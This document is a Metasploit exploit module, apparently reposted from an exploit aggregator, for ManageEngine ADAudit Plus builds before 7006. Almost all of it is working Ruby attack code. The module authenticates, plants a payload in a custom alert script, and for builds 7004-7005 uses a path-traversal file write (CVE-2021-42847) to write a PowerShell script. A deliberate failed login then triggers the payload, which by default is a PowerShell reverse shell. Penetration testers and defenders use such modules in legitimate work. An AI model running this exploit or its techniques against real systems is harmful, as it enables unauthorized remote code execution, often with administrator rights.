Share
## https://sploitus.com/exploit?id=PACKETSTORM:172258
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',  
'Description' => %q{  
This module exploits security issues in ManageEngine ADAudit Plus  
prior to 7006 that allow authenticated users to execute arbitrary  
code by creating a custom alert profile and leveraging its custom  
alert script component.  
  
The module first runs a few checks to test the provided  
credentials, retrieve the configured domain(s) and obtain the  
build number of the target ADAudit Plus server.  
  
If the credentials are valid and the target is  
vulnerable, the module creates an alert profile that will be  
triggered for any failed login attempt to the configured domain.  
  
For versions prior to build 7004, the payload is directly inserted  
in the custom alert script component of the alert profile.  
  
For versions 7004 and 7005, the module leverages an arbitrary file  
write vulnerability (CVE-2021-42847) to create a Powershell script  
in the alert_scripts directory that contains the payload. The name  
of this script is then provided as the value for the custom alert  
script component of the alert profile.  
  
This module requires valid credentials for an account with the  
privileges to create alert scripts. It has been successfully tested  
against ManageEngine ADAudit Plus builds 7003 and 7005 running on  
Windows Server 2012 R2.  
  
Successful exploitation will result in RCE as the user running  
ManageEngine ADAudit Plus, which will typically be the local  
administrator.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Moon', # CVE-2021-42847 discovery  
'Erik Wynter' # @wyntererik - Additional research and Metasploit module  
],  
'References' => [  
['CVE', '2021-42847'],  
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],  
['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']  
],  
'Privileged' => true,  
'DisclosureDate' => '2021-10-01',  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Windows Command',  
{  
'Type' => :win_cmd,  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8081,  
'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),  
OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),  
])  
end  
  
def auth_domain  
datastore['AUTH_DOMAIN']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def delete_alert(adapcsrf_cookie)  
print_status("Attempting to delete alert profile #{@alert_name}")  
# let's try and get the the ID of the alert we want to delete  
res_get_alert = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'TAB_ID' => '5', # this cannot be randomized  
'adapcsrf' => adapcsrf_cookie  
}  
})  
  
unless res_get_alert  
print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")  
return  
end  
  
unless res_get_alert.code == 200 && !res_get_alert.body.empty?  
print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")  
return  
end  
  
alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first  
if alert_id.blank?  
print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")  
return  
end  
  
# delete the alert  
res_delete_alert = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'data' => { 'ids' => [alert_id] }.to_json,  
'adapcsrf' => adapcsrf_cookie  
}  
})  
  
unless res_delete_alert  
print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")  
return  
end  
  
unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')  
print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")  
return  
end  
  
print_good("Successfully deleted alert profile #{@alert_name}")  
end  
  
def create_alert_profile  
if @exploit_method == 'cve_2021_42847'  
print_status('Attempting to authenticate again in order to retrieve the required cookies.')  
# We have to authenticate again in order to get the required cookie, so reset the cookie cache  
cookie_jar.clear  
login_results = adaudit_plus_login(auth_domain, username, password, true)  
login_msg = login_results['message']  
case login_results['status']  
when adaudit_plus_status::CONNECTION_FAILED  
fail_with(Failure::Unreachable, login_msg)  
when adaudit_plus_status::UNEXPECTED_REPLY  
fail_with(Failure::UnexpectedReply, login_msg)  
when adaudit_plus_status::NO_ACCESS  
fail_with(Failure::NoAccess, login_msg)  
when adaudit_plus_status::SUCCESS  
# just to distinguish it from any other potential statuses this method may return in the future  
else  
# this covers other potential statuses that this method may return in the future  
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS  
# however, if it would do so due to some library change, treating it as an unknown failure makes sense  
fail_with(Failure::Unknown, login_msg)  
end  
  
# Code must have been a success related code so we should have  
# an adapcsrf_cookie entry within the login results hash.  
@adapcsrf_cookie = login_results['adapcsrf_cookie']  
end  
  
print_status('Attempting to create an alert profile')  
# visit /api/json/jsMessage to see if we're dealing with 7003 or lower  
res_check_7004 = send_request_cgi({  
'uri' => adaudit_api_js_message_uri,  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }  
})  
  
unless res_check_7004  
fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')  
end  
  
unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')  
fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')  
end  
  
alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\  
'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'  
  
if res_check_7004.body&.include?(alert_script_7004_msg)  
# we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847  
unless @exploit_method == 'cve_2021_42847'  
# let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck  
gpo_watcher_status = gpo_watcher_data_check  
if gpo_watcher_status == adaudit_plus_status::SUCCESS  
@exploit_method = 'cve_2021_42847'  
else  
fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')  
end  
  
# here we have to authenticate again in order to get the required adapcsrf cookie  
cookie_jar.clear  
login_results = adaudit_plus_login(auth_domain, username, password, true)  
login_msg = login_results['message']  
case login_results['status']  
when adaudit_plus_status::CONNECTION_FAILED  
fail_with(Failure::Unreachable, login_msg)  
when adaudit_plus_status::UNEXPECTED_REPLY  
fail_with(Failure::UnexpectedReply, login_msg)  
when adaudit_plus_status::NO_ACCESS  
fail_with(Failure::NoAccess, login_msg)  
when adaudit_plus_status::SUCCESS  
# just to distinguish it from any other potential statuses this method may return in the future  
else  
fail_with(Failure::Unknown, login_msg)  
end  
  
@adapcsrf_cookie = login_results['adapcsrf_cookie']  
end  
  
# We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name  
# when creating the alert profile. Therefore call the function to create this alert script and save the name of the  
# script location.  
@ps1_script_name = create_alert_script  
end  
  
# save the alert profile  
@alert_name, alert_data = alert_profile_info  
res_save_alert = send_request_cgi({  
'uri' => adaudit_api_alertprofiles_save_uri,  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'data' => alert_data,  
'adapcsrf' => @adapcsrf_cookie  
}  
})  
  
unless res_save_alert  
fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")  
end  
  
unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')  
print_error("The server sent the following response: #{res_save_alert.body&.strip}")  
@alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil  
fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")  
end  
  
print_good("Successfully created alert profile #{@alert_name}")  
end  
  
def alert_profile_info  
script_location = @ps1_script_name || payload.encoded  
  
alert_name = rand_text_alphanumeric(8..12)  
alert_data = {  
'alertName' => alert_name,  
'alertDescription' => rand_text_alpha(20..30),  
'alertSeverity' => '1',  
'alertMsg' => '%FORMAT_MESSAGE%',  
'alertIsMailNotify' => false,  
'alertIsSMSNotify' => false,  
'monitorList' => [1],  
'selectedCategory' => 'All',  
'domainName' => @domain,  
'isSave' => true,  
'alertProfileId' => 'new',  
'thresholdBasedAlert' => false,  
'thresholdCount' => rand(5..15),  
'thresholdPeriod' => '=',  
'thresholdInterval' => rand(3..10),  
'thresholdGroupingColumns' => [],  
'throttleBasedAlert' => false,  
'throttleInterval' => rand(30..90),  
'throttleGroupingColumns' => [],  
'userMap' => {},  
'hourBasedAlert' => false,  
'contentType' => 'html',  
'alertMsgNeeded' => true,  
'alertProfileNameNeeded' => true,  
'mailAlertLink' => '',  
'eventDetails' => true,  
'emailMoreRecipients' => '',  
'smsMoreRecipients' => '',  
'scriptLocation' => script_location,  
'alertFilter' => false,  
'criteriaValue' => '-'  
}.to_json  
  
# we need to send along the alert name too since we'll need it to delete the alert after it's been created  
[alert_name, alert_data]  
end  
  
def create_alert_script  
ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"  
print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")  
  
if @domain.blank?  
@domain = "#{rand_text_alpha_lower(5..10)}.local"  
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")  
end  
  
gpo_post_data = {  
'DOMAIN_NAME' => @domain,  
'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed  
'htmlReport' => payload.encoded  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => adaudit_plus_gpo_watcher_data_uri,  
'ctype' => 'application/json',  
'data' => generate_gpo_watcher_data_json(gpo_post_data)  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
  
unless res.code == 200 && res.body&.include?('{"success":true}')  
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')  
end  
  
print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")  
ps1_script_name  
end  
  
def check  
target_check_results = adaudit_plus_target_check  
target_check_msg = target_check_results['message']  
case target_check_results['status']  
when adaudit_plus_status::CONNECTION_FAILED  
return CheckCode::Unknown(target_check_msg)  
when adaudit_plus_status::UNEXPECTED_REPLY  
return CheckCode::Safe(target_check_msg)  
when adaudit_plus_status::SUCCESS  
vprint_status(target_check_msg)  
else  
# this covers cases that may be added in the future  
return CheckCode::Unknown(target_check_msg)  
end  
  
target_check_res = target_check_results['server_response']  
  
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to  
# ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,  
# we can try to extract the FQDN for a configured domain from the server response  
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)  
domain_alias_msg = domain_alias_results['message']  
if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS  
return CheckCode::Safe(domain_alias_msg)  
end  
  
domain_aliases = domain_alias_results['domain_aliases']  
# check if we actually have any configured domain aliases now, otherwise the target isn't exploitable  
if domain_aliases.blank?  
return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')  
end  
  
# if the only configured domain is the default domain, we will not be able to trigger the payload, so  
# stop as there is no point in proceeding  
if domain_aliases == ['ADAuditPlus Authentication']  
return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')  
end  
  
# set the domain alias to the first configured domain, unless the user provided an invalid domain  
# in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding  
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)  
vprint_status(domain_alias_msg)  
@domain_alias = domain_aliases.first  
print_status("Using configured authentication domain alias #{@domain_alias}.")  
else  
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed  
print_status(domain_alias_msg)  
return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")  
end  
  
print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")  
login_results = adaudit_plus_login(auth_domain, username, password, false)  
login_msg = login_results['message']  
case login_results['status']  
when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY  
return CheckCode::Unknown(login_msg)  
when adaudit_plus_status::NO_ACCESS, NO_DOMAINS  
# if we cannot authenticate, we can't create an alert profile so exploitation is impossible  
# if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible  
return CheckCode::Safe(login_msg)  
when adaudit_plus_status::SUCCESS  
@domain = login_results['configured_domains'].first  
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")  
end  
  
print_good('Successfully authenticated')  
@adapcsrf_cookie = login_results['adapcsrf_cookie']  
  
# check the build version to see if we can actually exploit the target  
build_results = adaudit_plus_grab_build(@adapcsrf_cookie)  
build_msg = build_results['message']  
unless build_results['status'] == adaudit_plus_status::SUCCESS  
# if we don't get a valid build number, we don't know what the target is, so we can't proceed  
# however, we can also not say that the target is safe or detected, so we return Unknown  
return CheckCode::Unknown(build_msg)  
end  
  
build_version = build_results['build_version']  
  
if build_version < Rex::Version.new('7004')  
@exploit_method = 'default'  
CheckCode::Appears("The target is ADAudit Plus #{build_version}")  
# For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists  
elsif build_version < Rex::Version.new('7006')  
gpo_watcher_status = gpo_watcher_data_check  
case gpo_watcher_status  
when adaudit_plus_status::SUCCESS  
@exploit_method = 'cve_2021_42847'  
return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")  
when adaudit_plus_status::CONNECTION_FAILED  
return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")  
when adaudit_plus_status::NO_ACCESS  
return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")  
end  
else  
CheckCode::Safe("The target is ADAudit Plus #{build_version}")  
end  
end  
  
def exploit  
if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method  
@exploit_method = 'default'  
elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/  
print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')  
print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')  
end  
  
if @adapcsrf_cookie.blank?  
# let's clear the cookie jar and try to authenticate  
cookie_jar.clear  
print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")  
login_results = adaudit_plus_login(auth_domain, username, password, false)  
login_msg = login_results['message']  
case login_results['status']  
when adaudit_plus_status::CONNECTION_FAILED  
fail_with(Failure::Unreachable, login_msg)  
when adaudit_plus_status::UNEXPECTED_REPLY  
fail_with(Failure::UnexpectedReply, login_msg)  
when adaudit_plus_status::NO_ACCESS  
fail_with(Failure::NoAccess, login_msg)  
when adaudit_plus_status::NO_DOMAINS  
fail_with(Failure::NotVulnerable, login_msg)  
when adaudit_plus_status::SUCCESS  
@domain = login_results['configured_domains'].first  
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")  
else  
# this covers other potential statuses that may be added in the future  
fail_with(Failure::Unknown, login_msg)  
end  
  
print_good('Successfully authenticated')  
@adapcsrf_cookie = login_results['adapcsrf_cookie']  
end  
  
# let's create the alert profile  
create_alert_profile  
  
# time to trigger the payload  
if @domain_alias.nil?  
# this means check didn't run, so we need to obtain the configured Active Directory domains  
target_check_results = adaudit_plus_target_check  
target_check_status = target_check_results['status']  
target_check_msg = target_check_results['message']  
unless target_check_status == adaudit_plus_status::SUCCESS  
print_error('Failed to obtain the configured Active Directory domain aliases')  
case target_check_status  
when adaudit_plus_status::CONNECTION_FAILED  
fail_with(Failure::Unreachable, target_check_msg)  
when adaudit_plus_status::UNEXPECTED_REPLY  
fail_with(Failure::UnexpectedReply, target_check_msg)  
else  
# this covers other potential statuses that this method may return in the future  
fail_with(Failure::Unknown, target_check_msg)  
end  
end  
  
target_check_res = target_check_results['server_response']  
fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?  
  
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to  
# ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,  
# we can try to extract the FQDN for a configured domain from the server response.  
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)  
domain_alias_msg = domain_alias_results['message']  
case domain_alias_results['status']  
when adaudit_plus_status::NO_DOMAINS  
fail_with(Failure::NotVulnerable, domain_alias_msg)  
when adaudit_plus_status::SUCCESS  
# make sure we actually have a domain alias, otherwise the target is not vulnerable  
if domain_alias_results['domain_aliases'].blank?  
fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')  
end  
else  
fail_with(Failure::Unknown, domain_alias_msg)  
end  
  
domain_aliases = domain_alias_results['domain_aliases']  
# if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed  
if domain_aliases == ['ADAuditPlus Authentication']  
fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')  
end  
  
# set the domain alias to the first configured domain, unless the user provided an invalid domain  
# in the latter case, the module won't be able to authenticate to the target so there's no point to proceed  
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)  
vprint_status(domain_alias_msg)  
@domain_alias = domain_aliases.first  
print_status("Using configured authentication domain alias #{@domain_alias}.")  
else  
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed  
print_status(domain_alias_msg)  
fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")  
end  
end  
  
print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")  
login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)  
login_msg = login_results['message']  
manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."  
case login_results['status']  
when adaudit_plus_status::CONNECTION_FAILED  
fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")  
when adaudit_plus_status::UNEXPECTED_REPLY  
fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")  
when adaudit_plus_status::NO_ACCESS  
print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")  
when adaudit_plus_status::SUCCESS  
fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")  
else  
print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')  
end  
  
@pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session  
end  
  
def cleanup  
return unless @alert_name # this should only run if we actually created an alert  
  
if @pwned == 0  
print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')  
end  
cookie_jar.clear  
login_results = adaudit_plus_login(auth_domain, username, password, true)  
case login_results['status']  
when adaudit_plus_status::SUCCESS  
delete_alert(login_results['adapcsrf_cookie'])  
when adaudit_plus_status::CONNECTION_FAILED  
print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')  
when adaudit_plus_status::UNEXPECTED_REPLY  
print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')  
when adaudit_plus_status::NO_ACCESS  
print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')  
else  
# this covers other potential statuses that this method may return in the future  
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS  
# however, if it would do so due to some library change, treating it as unexpected reply makes sense  
print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')  
end  
end  
  
def on_new_session(cli)  
@pwned += 1  
# if we wrote a PowerShell script to /alert_scripts, remind the user to delete it  
# we may get two shells, so let's not repeat ourselves  
if @pwned == 1  
# I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically  
# but when loading them manually, they worked it fine  
if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason  
print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")  
end  
  
if @ps1_script_name  
# meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script  
print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")  
end  
end  
super  
end  
end